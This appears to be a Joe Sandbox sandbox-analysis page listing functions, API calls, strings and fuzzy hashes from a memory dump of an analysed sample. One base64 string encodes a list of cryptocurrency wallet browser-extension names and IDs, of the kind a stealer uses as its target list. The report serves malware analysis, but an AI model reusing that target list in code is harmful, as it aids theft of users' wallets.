String ID: fDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVyc
API String ID: 2022606265-2014739305
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: f8291364f439dd244143c468b70a709dc02b918dc27d3fb1cae097ebee65cae3
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18321332B046118FC718DE2CC890E56BBE6AFC9350F09866DE8A5CB395D734ED06CB91

Function 6C559E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C559F3D
__aulldiv.LIBCMT ref: 6C559F77
__aullrem.LIBCMT ref: 6C559F8C
__aulldiv.LIBCMT ref: 6C55A023

Strings

NaN, xrefs: 6C559EAB
-Infinity, xrefs: 6C559E60, 6C559E7B

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 39bcc4db64ffdd95231f7f11cfbeeb9df021e4b4e3b6d3bd0059f56835eafda6
Instruction ID: bffce00f27be0d76b9a302ad6ded22918496460ea5aa37bb294a044972201d89
Opcode Fuzzy Hash: 39bcc4db64ffdd95231f7f11cfbeeb9df021e4b4e3b6d3bd0059f56835eafda6
Instruction Fuzzy Hash: 65C1A071E00319CBDB14CFA9CC90BAEB7B6AF84314F94452AD405ABB80D775AD49CBA1

Function 6C4FD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C4FD852
0, xrefs: 6C4FDC7F
1, xrefs: 6C4FDBDD
9, xrefs: 6C4FDE7F
-, xrefs: 6C4FD7DD
@, xrefs: 6C4FDAF6
8, xrefs: 6C4FDC08
, xrefs: 6C4FDA88

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 70ecd74d273ec888b825fcdd0609b21ac299e5125bf44ecba425cace2ad572c1
Instruction ID: f9b38c31c8051a5048a45ef08ae20c4db37d55ddca8e2f45a0bd934b6d35d410
Opcode Fuzzy Hash: 70ecd74d273ec888b825fcdd0609b21ac299e5125bf44ecba425cace2ad572c1
Instruction Fuzzy Hash: A162897150C3858FD706CE29C490F5ABBE2ABC6359F184A1DE8F54BB91C3359887CB92

Function 6C56545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C568A4B

Strings

~qOl, xrefs: 6C569269, 6C565740, 6C565703, 6C5656C7, 6C56921F, 6C569459, 6C56948F

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memset
String ID: ~qOl
API String ID: 2221118986-3430052973
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f9a24eff932ed5046cbfa8c20f08896d9f60cf3edc77c4abf262904d075c6259
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 3AB1D772E0021ACFDB14CF69CC907E9B7B2EF95314F1802A9C549DBB95E730A985CB91

Function 6C56542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C56925C

Strings

~qOl, xrefs: 6C569269, 6C565740, 6C565703, 6C5656C7, 6C56921F, 6C569459, 6C56948F

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memset
String ID: ~qOl
API String ID: 2221118986-3430052973
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 52f46969f38618e70246e978abeb63228cbf68a330c5c28d7981286dc8297880
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 1FB1C672E0120ACFCB14CF69CC816EDB7B2EF95314F180269C949DBB95D730A999CB91

Function 6C55C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C55C0E9), ref: 6C55C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C55C437
FreeLibrary.KERNEL32(?,6C55C0E9), ref: 6C55C44C

Strings

NtQueryVirtualMemory, xrefs: 6C55C431
ntdll.dll, xrefs: 6C55C413

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: ed460a5befbb3f15a882eb9dc72c6d524e2a3d948b8e36eca8dca21d706f6b8b
Instruction ID: 56741bbb43b0c0334c3172006d1e79a278ebbd42d385d07bf9caf592dd6e5e40
Opcode Fuzzy Hash: ed460a5befbb3f15a882eb9dc72c6d524e2a3d948b8e36eca8dca21d706f6b8b
Instruction Fuzzy Hash: 83E092706053219FDB02BFB18D08B127AF8A70A309F064216EE15A2710EBB0D0908B79

Function 6C509F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C50A824
9, xrefs: 6C50A5D6
' , xrefs: 6C50A3D8
@, xrefs: 6C50A625
0, xrefs: 6C50AB22
0, xrefs: 6C50A100

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: e81dcdd4c7c299be7c660761eb4f4155b81d9e15812a8d9fa057fa033254976b
Instruction ID: 1a404f96dd508ebad0bcd932f34c4724b20faa6eed6da44754c0c54bf80a4672
Opcode Fuzzy Hash: e81dcdd4c7c299be7c660761eb4f4155b81d9e15812a8d9fa057fa033254976b
Instruction Fuzzy Hash: EF82D131B093558BD711CF19CC9026EB7F2FB85758F558A2EE8D5C7A90D334A886CB82

Function 6C5477A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C547A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C547A93

Part of subcall function 6C515C50: GetTickCount64.KERNEL32 ref: 6C515D40
Part of subcall function 6C515C50: EnterCriticalSection.KERNEL32(6C57F688), ref: 6C515D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C547AA1

Part of subcall function 6C515C50: __aulldiv.LIBCMT ref: 6C515DB4
Part of subcall function 6C515C50: LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C515DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C547B31

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 2aaaf9cd948d8a7db938668b1a6056fa12bdaea04b3e719cbed8c8df997d1dca
Instruction ID: 3f65b49a0a0908fa9f88753a0beac11418bdb62092cd25055a175ed026c7863d
Opcode Fuzzy Hash: 2aaaf9cd948d8a7db938668b1a6056fa12bdaea04b3e719cbed8c8df997d1dca
Instruction Fuzzy Hash: AFB15B356083818BDB14CF25C85069FB7E2BFC9358F158A1CE99567B91DB70ED0ACB82

Function 6C518850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5197EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C519813, 6C51985D, 6C519878, 6C519CEB

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 7dbe3161131517c020b4bce6aab333ee9b987fee263665fa8ac81b7fd3150a03
Instruction ID: 5409c6cce7476dabe2f002705c26d2f16a3892aae743cb024613711c51041a14
Opcode Fuzzy Hash: 7dbe3161131517c020b4bce6aab333ee9b987fee263665fa8ac81b7fd3150a03
Instruction Fuzzy Hash: 4AD2AF71A097018FE718CF19C994715BBE1BF85324F29C76DE86A8BBA5C731E841CB81

Function 6C5585F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C558C7C
__aulldiv.LIBCMT ref: 6C558DD7

Strings

fDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVyc, xrefs: 6C558790, 6C558A47

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: fDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVyc
API String ID: 3732870572-2014739305
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: a288e3df1f5169b220e6ea915de7ba72d5bd2f1178a66bb67879691de7d69909
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 34328C71F502198BDF18CE9CC8A17AEB7B2FB88300F55853BD406BB790DA349D458B92

Function 6C536CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C536D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C536E1E

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: b588155d8f39357f5214489238be801bab1239b02f3314dcf4545a570d3c49ef
Instruction ID: 6b6bb1b3ac999ec94ccc9e15ed790de8d18167dca75cec067a1c0fc7b7cce06f
Opcode Fuzzy Hash: b588155d8f39357f5214489238be801bab1239b02f3314dcf4545a570d3c49ef
Instruction Fuzzy Hash: FDA17F74618390CFD715CF24C8807AEBBE2BFC9308F55991DE48A87751EB70A948CB92

Function 6C55B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C52FE3F), ref: 6C55B720
RtlNtStatusToDosError.NTDLL ref: 6C55B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C52FE3F), ref: 6C55B760

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 7020bd41e53e28180970cfc5ba1db9288975647629e5b91ed8030f50c26b8848
Instruction ID: 4b482ce027b65b981afe049193018cbe8ebb25509891a9f13d191f0814f1e12e
Opcode Fuzzy Hash: 7020bd41e53e28180970cfc5ba1db9288975647629e5b91ed8030f50c26b8848
Instruction Fuzzy Hash: 8BF0C87091020CEEDF01AAE1CC88BDF77BC9B44319F50516AD511655C0D774A9DCC661

Function 6C514640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C514777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C515585, 6C5155A8, 6C5155C3, 6C515624

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: d4908eb538d009b97caadb5dea0bbbe37f32155b35e9cbd26f9409229cbd9eb2
Instruction ID: 63ab29e6df735bd0cbd96ec299ca26923bbc224b3246a32354654a16cceed8f4
Opcode Fuzzy Hash: d4908eb538d009b97caadb5dea0bbbe37f32155b35e9cbd26f9409229cbd9eb2
Instruction Fuzzy Hash: 81B27E71A096018FE708CF19C994715BBE2BFC5328F29C76DE4698BBA5D771E841CB80

Function 6C5676E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qOl, xrefs: 6C567796, 6C5679FB, 6C5679C0, 6C56793C, 6C567B0B, 6C567E0B

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID: ~qOl
API String ID: 0-3430052973
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 22346b29f01b0e2d344f3ad7312942cd8932949dca188f2234f00fe3a377a2c5
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: B532F871E006198FCB14CF99C890AADFBB2FF88304F5485A9C549A7B55D731A986CF90

Function 6C566E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qOl, xrefs: 6C5679FB, 6C5679C0, 6C56793C, 6C567B0B, 6C567C03, 6C567E0B, 6C567C72

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID: ~qOl
API String ID: 0-3430052973
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 2a3a42b711ccc12c0169980e8e1e2385210fcf094dc2a6d677be891acff2f7b8
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 7F22F771E006198FDB14CF99C880AADF7F2FF88304F6485AAC549A7B55D731A986CF90

Function 6C535C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C504A63,?,?), ref: 6C535F06

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ce02234892a3b77c36a700821f8a975003ba06c9f11d76e695f4d38642fe3062
Instruction ID: 3f1ff52ad88b3ef99ae0c4c1643ab9ae364ea8ddbe4600b0409231f4636d1065
Opcode Fuzzy Hash: ce02234892a3b77c36a700821f8a975003ba06c9f11d76e695f4d38642fe3062
Instruction Fuzzy Hash: 3FC1E375D012298BCB04CF55C9906DEBBF2FF89318FA8615DD8596BB40E731A905CF90

Function 6C4FDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 510d74e12cdd42f40d38ab6d3143962a0b72e7e240096737e1ccd895f9d8a49c
Instruction ID: 0e4c6f61e6423474bd45d1ef635179e0f78dcc935343baf9e66f94c005234238
Opcode Fuzzy Hash: 510d74e12cdd42f40d38ab6d3143962a0b72e7e240096737e1ccd895f9d8a49c
Instruction Fuzzy Hash: 3342D772A087508BD304CE3DC890B5AF3E2BFC9355F194B2DE9A9A7790D734D9428B81

Function 6C520512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 0d3cc2ecead4e91b8aa02a5d091fce6162e26fbebec2fc75cb57552452e44f6c
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B3220571E056198FDB14CF98C890AAEF7F2FF88304F54869AC44AA7745D735A986CF80

Function 6C56AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f889f2533d1e652788613704302979dbf77d34f48a386a6fa5664cc1de2d174
Instruction ID: 025ca6cdb6799d830da3c38d56c43c88620a6a87e9f6b58e677aa969427c9f52
Opcode Fuzzy Hash: 3f889f2533d1e652788613704302979dbf77d34f48a386a6fa5664cc1de2d174
Instruction Fuzzy Hash: 7DF14871A083559FD700CE29CC903AAB7E2AFC5318F148A2DE9D587BA1E774DC858792

Function 6C4FC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: ede1ab26f065264a3f6473bc4ce3bec2d602e5a6b8a8143ba1025492fbe28807
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
